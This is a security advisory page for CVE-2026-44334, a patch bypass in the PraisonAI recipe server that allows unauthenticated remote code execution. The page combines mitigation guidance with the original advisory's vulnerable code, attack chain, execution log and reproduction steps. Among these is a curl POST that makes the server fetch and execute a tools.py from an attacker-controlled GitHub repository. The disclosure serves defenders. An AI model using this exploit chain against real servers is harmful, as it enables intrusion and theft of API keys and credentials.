CVE-2026-44334: praisonai: RCE via unpatched tool_override exec_module

GHSA-xcmw-grxf-wjhj HIGH
Published May 6, 2026
CISO Take

CVE-2026-44334 is a confirmed bypass of the CVE-2026-40287 patch in PraisonAI — the prior fix gated code execution in two files but left a third unconditional exec_module() call in tool_override.py reachable on every recipe execution. An unauthenticated attacker can trigger arbitrary Python code execution with a single POST to /v1/recipes/run using a GitHub repository URI, because SecurityConfig.allow_any_github defaults to True and the endpoint requires no credentials by default; the payload fires before any workflow validation runs. With a confirmed PoC against version 4.6.31, 35 prior CVEs in the same package, and no API keys required to execute the exploit, this is a low-barrier, high-impact threat to any organization running PraisonAI's recipe server feature. Upgrade to praisonai 4.6.32 immediately, or block POST /v1/recipes/run at the reverse proxy until patching is complete and rotate any API keys accessible to the server process.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

High risk. The exploit requires only HTTP access to the PraisonAI API port and a public GitHub repository — no authentication, no API keys, no local filesystem foothold. The incomplete patch history (two of three exec_module sinks fixed in v4.5.139, third missed) indicates systemic code review gaps that may yield additional bypasses. While EPSS data is unavailable and the CVE is not in CISA KEV, the public PoC, trivial exploitation (single curl command), and remote GitHub vector make exploitation highly likely in the near term for any internet-exposed instance. The stated CVSS AV:L vector appears to understate exposure — the demonstrated attack chain is fully network-accessible via HTTP.

How does the attack unfold?

Initial Access
Attacker sends an unauthenticated POST to /v1/recipes/run with a GitHub repository URI pointing to an attacker-controlled repo containing malicious tools.py.
AML.T0049
Remote Resource Fetch
Server fetches the attacker-controlled GitHub repository to its local cache because SecurityConfig.allow_any_github defaults to True, bypassing any source allowlist.
AML.T0010.005
Code Execution
create_tool_registry_with_overrides() calls exec_module() on the cached tools.py unconditionally and before any workflow validation, executing attacker code in the server process.
AML.T0050
Credential Harvest & Impact
Attacker payload exfiltrates LLM API keys and database credentials from server environment variables, establishes persistence, or pivots laterally using the compromised process's network access.
AML.T0055

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip >= 4.5.139, <= 4.6.31 4.6.32
1 dependents 83% patched ~0d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
8.4 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 16% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Local
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

What should I do?

6 steps
  1. Upgrade to praisonai >= 4.6.32 immediately — this is the authoritative fix for the missed sink.

  2. If patching is delayed, block POST requests to /v1/recipes/run at the reverse proxy or WAF layer.

  3. Set SecurityConfig.allow_any_github = False in your deployment configuration to eliminate the remote GitHub vector.

  4. Rotate all API keys (OpenAI, Anthropic, etc.) and database credentials accessible to the server process — treat them as compromised on any unpatched instance.

  5. Audit server access logs for anomalous POST requests to /v1/recipes/run, especially with GitHub URIs or absolute path values in the recipe field.

  6. Run the PraisonAI server under a least-privilege OS user with no access to production secrets beyond what is strictly required.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, Robustness and Cybersecurity
ISO 42001
A.6.1.2 - AI Supply Chain Security A.9.3.1 - Technical Security Controls for AI Systems
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain value and manage risks of deployed AI
OWASP LLM Top 10
LLM06 - Excessive Agency LLM08 - Excessive Permissions

Frequently Asked Questions

What is CVE-2026-44334?

CVE-2026-44334 is a confirmed bypass of the CVE-2026-40287 patch in PraisonAI — the prior fix gated code execution in two files but left a third unconditional exec_module() call in tool_override.py reachable on every recipe execution. An unauthenticated attacker can trigger arbitrary Python code execution with a single POST to /v1/recipes/run using a GitHub repository URI, because SecurityConfig.allow_any_github defaults to True and the endpoint requires no credentials by default; the payload fires before any workflow validation runs. With a confirmed PoC against version 4.6.31, 35 prior CVEs in the same package, and no API keys required to execute the exploit, this is a low-barrier, high-impact threat to any organization running PraisonAI's recipe server feature. Upgrade to praisonai 4.6.32 immediately, or block POST /v1/recipes/run at the reverse proxy until patching is complete and rotate any API keys accessible to the server process.

Is CVE-2026-44334 actively exploited?

No confirmed active exploitation of CVE-2026-44334 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44334?

1. Upgrade to praisonai >= 4.6.32 immediately — this is the authoritative fix for the missed sink. 2. If patching is delayed, block POST requests to /v1/recipes/run at the reverse proxy or WAF layer. 3. Set SecurityConfig.allow_any_github = False in your deployment configuration to eliminate the remote GitHub vector. 4. Rotate all API keys (OpenAI, Anthropic, etc.) and database credentials accessible to the server process — treat them as compromised on any unpatched instance. 5. Audit server access logs for anomalous POST requests to /v1/recipes/run, especially with GitHub URIs or absolute path values in the recipe field. 6. Run the PraisonAI server under a least-privilege OS user with no access to production secrets beyond what is strictly required.

What systems are affected by CVE-2026-44334?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, model serving, AI workflow/recipe execution.

What is the CVSS score for CVE-2026-44334?

CVE-2026-44334 has a CVSS v3.1 base score of 8.4 (HIGH). The EPSS exploitation probability is 0.25%.

What is the AI security impact?

Affected AI Architectures

agent frameworksmodel servingAI workflow/recipe execution

MITRE ATLAS Techniques

AML.T0010.005 AI Agent Tool
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0053 AI Agent Tool Invocation
AML.T0055 Unsecured Credentials

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.1.2, A.9.3.1
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM06, LLM08

What are the technical details?

Original Advisory

## TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required. ## Patch coverage gap CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at: | File | Line | Gate | |---|---|---| | `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` | | `praisonai/api/call.py` | 80 | same | But the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched: ```python # tool_override.py - create_tool_registry_with_overrides() 332 cwd_tools_py = Path.cwd() / "tools.py" 333 if cwd_tools_py.exists(): 334 try: 335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if template_dir: 343 tools_py = Path(template_dir) / "tools.py" 344 if tools_py.exists(): 345 try: 346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module 347 registry.update(tools) 348 except Exception: 349 pass ``` `load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution. ## Attack chain ``` HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 run_recipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 _load_recipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 is_source_allowed("github:*") └─ allow_any_github=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validate_template_directory(cached.path) └─ .py is in allowed_extensions → tools.py kept │ ▼ recipe/core.py:887 _execute_recipe(recipe_config, ...) │ ▼ recipe/core.py:943 create_tool_registry_with_overrides( include_defaults=True, template_dir=recipe_config.path) │ ▼ templates/tool_override.py:341-349 load_from_file(template_dir/tools.py) │ ▼ templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE ``` The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction. ## Confirmed execution (2026-04-25, praisonai 4.6.31) ``` SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit ``` The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent. ## Reproduction (local-path variant) Files under `pocs/praisonai-cve-2026-40287-bypass/`: - [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata - [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir) - [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`) - [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run` ```bash pip install 'praisonai[serve]==4.6.31' # Terminal 1 python server.py # Terminal 2 python exploit.py ``` Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process. ## Reproduction (remote GitHub variant) ```bash # Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo) curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}' ``` No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.

Exploitation Scenario

An external attacker finds a PraisonAI recipe server exposed on a corporate network or cloud environment. They push a malicious tools.py — containing a reverse shell or API key exfiltration payload — to a public GitHub repository alongside a minimal empty TEMPLATE.yaml. A single HTTP POST to /v1/recipes/run with body {"recipe":"github:attacker/malicious-repo/recipe-dir"} causes the server to fetch the repository (allow_any_github=True bypasses any allowlist), cache it locally, and call create_tool_registry_with_overrides() which unconditionally invokes exec_module() on the attacker-controlled tools.py before any workflow step or error handling runs. The payload executes in the server process, exfiltrating LLM API keys from environment variables and writing a persistence mechanism — all returning a 500 response to the caller that masks the successful compromise.

Weaknesses (CWE)

CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

  • [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
  • [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
May 6, 2026
Last Modified
May 6, 2026
First Seen
May 7, 2026

Related Vulnerabilities